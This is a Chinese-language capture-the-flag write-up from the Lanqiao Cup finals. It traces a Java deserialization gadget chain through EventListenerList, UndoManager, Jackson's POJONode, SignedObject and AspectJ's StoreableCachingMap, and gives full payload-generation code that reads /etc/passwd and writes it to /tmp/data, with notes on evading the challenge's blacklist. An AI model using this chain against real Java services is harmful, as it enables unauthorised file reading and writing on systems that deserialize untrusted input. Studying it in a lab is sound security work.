蓝桥杯决赛

利用链分析

EventListenerList

入口点:EventListenerList的readObject

img

发现这里并没有触发能触发tostring的地方,继续跟进add方法,发现

img这里能触发tostring方法,在 Object 进行拼接的时候会自动触发该对象的toString方法

现在来看看t和l怎么写进去的,看writeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void writeObject(ObjectOutputStream s) throws IOException {
Object[] lList = listenerList;
s.defaultWriteObject();

// Save the non-null event listeners:
for (int i = 0; i < lList.length; i+=2) {
Class<?> t = (Class)lList[i];
EventListener l = (EventListener)lList[i+1];
if ((l!=null) && (l instanceof Serializable)) {
s.writeObject(t.getName());
s.writeObject(l);
}
}

s.writeObject(null);
}

发现里面会将l转换为EventListener型,所以我们找找继承了Serializable和EventListener的类也就是UndoManager

来看看他的toString方法

1
2
3
4
public String toString() {
return super.toString() + " limit: " + limit +
" indexOfNextAdd: " + indexOfNextAdd;
}

这里limit和indexofNextAdd都是int类型,没地方利用所以跟进父类的tostring

1
2
3
4
5
6
public String toString()
{
return super.toString()
+ " inProgress: " + inProgress
+ " edits: " + edits;
}

这里的edits是Vector类只有看看这个的tostring,再往上的父类的tostring也没利用的地方

Vector里面调用的是父类的tostring跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public String toString() {
Iterator<E> it = iterator();
if (! it.hasNext())
return "[]";

StringBuilder sb = new StringBuilder();
sb.append('[');
for (;;) {
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);
if (! it.hasNext())
return sb.append(']').toString();
sb.append(',').append(' ');
}
}

发现调用了sb.append(e == this ? “(this Collection)” : e);

1
2
3
public StringBuilder append(Object obj) {
return append(String.valueOf(obj));
}

就会调用obj的tostring方法

所以看看我们怎么可控它

e是next()读取的跟进vector::Itr的next()

1
2
3
4
5
6
7
8
9
10
public E next() {
synchronized (Vector.this) {
checkForComodification();
int i = cursor;
if (i >= elementCount)
throw new NoSuchElementException();
cursor = i + 1;
return elementData(lastRet = i);
}
}

发现读的是elementdata的值而在add()里面就能添加这个

1
2
3
4
5
public synchronized boolean add(E e) {
modCount++;
add(e, elementData, elementCount);
return true;
}

再让undoManger的edits变成这个值就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Unsafe unsafe = getUnsafe();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(test.class, addr, Object.class.getModule());
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) getObject(), kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode = new POJONode(signedObject);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Field f = CompoundEdit.class.getDeclaredField("edits");
f.setAccessible(true);
Vector vector = (Vector) f.get(undoManager);
vector.add(pojoNode);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(eventListenerList);
oos.close();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

POJONode的tostring方法调用是会调用里面value对象的getter方法,通过这个去打SignedObject二次反序列化

ps:因为黑名单里面有SimpleCache我们要写文件就不得不绕过,不然就直接去tiedmap的tostring了

StoreableCachingMap

1
2
3
4
5
@RequestMapping(value = {"/read"}, method = {RequestMethod.POST})
@ResponseBody
public String read() throws IOException {
return new String(Files.readAllBytes(Paths.get("/tmp/data", new String[0])));
}

做到时候还以为是写一个jar包文件上出,直接拿权限.但是jdk17好像不能这么干.只能读文件然后把文件写进/tmp/data里了

在StoreableCachingMap的get()中有readFromPath会读取我们的文件内容返回bytes,然后我们看看怎么利用

1
2
3
4
5
6
7
8
public Object get(Object obj) {
try {
if (super.containsKey(obj)) {
String path = (String)super.get(obj);//这里返会对应values
return path.equals("IDEM") ? SimpleCache.SAME_BYTES : this.readFromPath(path);
} else {
return null;
}

put方法 会往key路径里面写values 之前csisn去看了就不写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[])((byte[])value);
if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
path = "IDEM";
} else {
path = this.writeToPath((String)key, valueBytes);
}

Object result = super.put(key, path);
this.storeMap();
return result;
}

发现esaymap的的get方法

1
2
3
4
5
6
7
8
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.MapFactory.get(key);
this.map.put(key, value);
return value;
}
return get(key);
}

这里MapFactory和map都是map类型,所以只要我们传过的key是data的map是StoreableCachingMap话就会往data里面写value的值,然后this.MapFactory,get(key)的话就只需要返回我们/flag的文件内容就是了,可能有点绕,看代码理解一下吧

1
2
3
4
5
6
7
8
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
con.setAccessible(true);
HashMap map = (HashMap) con.newInstance("/tmp", 1);
HashMap MapFactory = (HashMap) con.newInstance("/etc", 1);
MapFactory.put("data", "/etc/passwd");//read file
Constructor c = EasyMap.class.getDeclaredConstructors()[0];
c.setAccessible(true);
EasyMap easyMap = (EasyMap) c.newInstance(map, MapFactory);

利用点

题目给了2个map有个map分析过了还有个TiedMap

他的equals和toString都能触发getValue方法里面就会调用map.get

所以payload

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.example.demo;

import com.example.demo.utils.EasyMap;
import com.example.demo.utils.TiedMap;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;

public class test {
public static void main(String[] args) throws Exception
{
Unsafe unsafe = getUnsafe();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(test.class, addr, Object.class.getModule());
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) getObject(), kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode = new POJONode(signedObject);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Field f = CompoundEdit.class.getDeclaredField("edits");
f.setAccessible(true);
Vector vector = (Vector) f.get(undoManager);
vector.add(pojoNode);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(eventListenerList);
oos.close();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
}
public static Unsafe getUnsafe() throws Exception {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
return unsafe;
}
public static Object getObject() throws Exception {
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
con.setAccessible(true);
HashMap map = (HashMap) con.newInstance("/tmp", 1);
HashMap MapFactory = (HashMap) con.newInstance("/etc", 1);
MapFactory.put("data", "/etc/passwd");//read file
Constructor c = EasyMap.class.getDeclaredConstructors()[0];
c.setAccessible(true);
EasyMap easyMap = (EasyMap) c.newInstance(map, MapFactory);
TiedMap tiedMap = new TiedMap(easyMap,"data");
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Field f = CompoundEdit.class.getDeclaredField("edits");
f.setAccessible(true);
Vector vector = (Vector) f.get(undoManager);
vector.add(tiedMap);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
return eventListenerList;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
}

注意点

为了防止序列化的时候走利用链重新了一下方法

1
2
3
4
5
6
7
8
9
public Object put(Object key, Object value) {
String path = null;
path = this.folder + '/' + key;
Object result = super.put(key, path);
return result;
}
public Object get(Object obj) {
return null;
}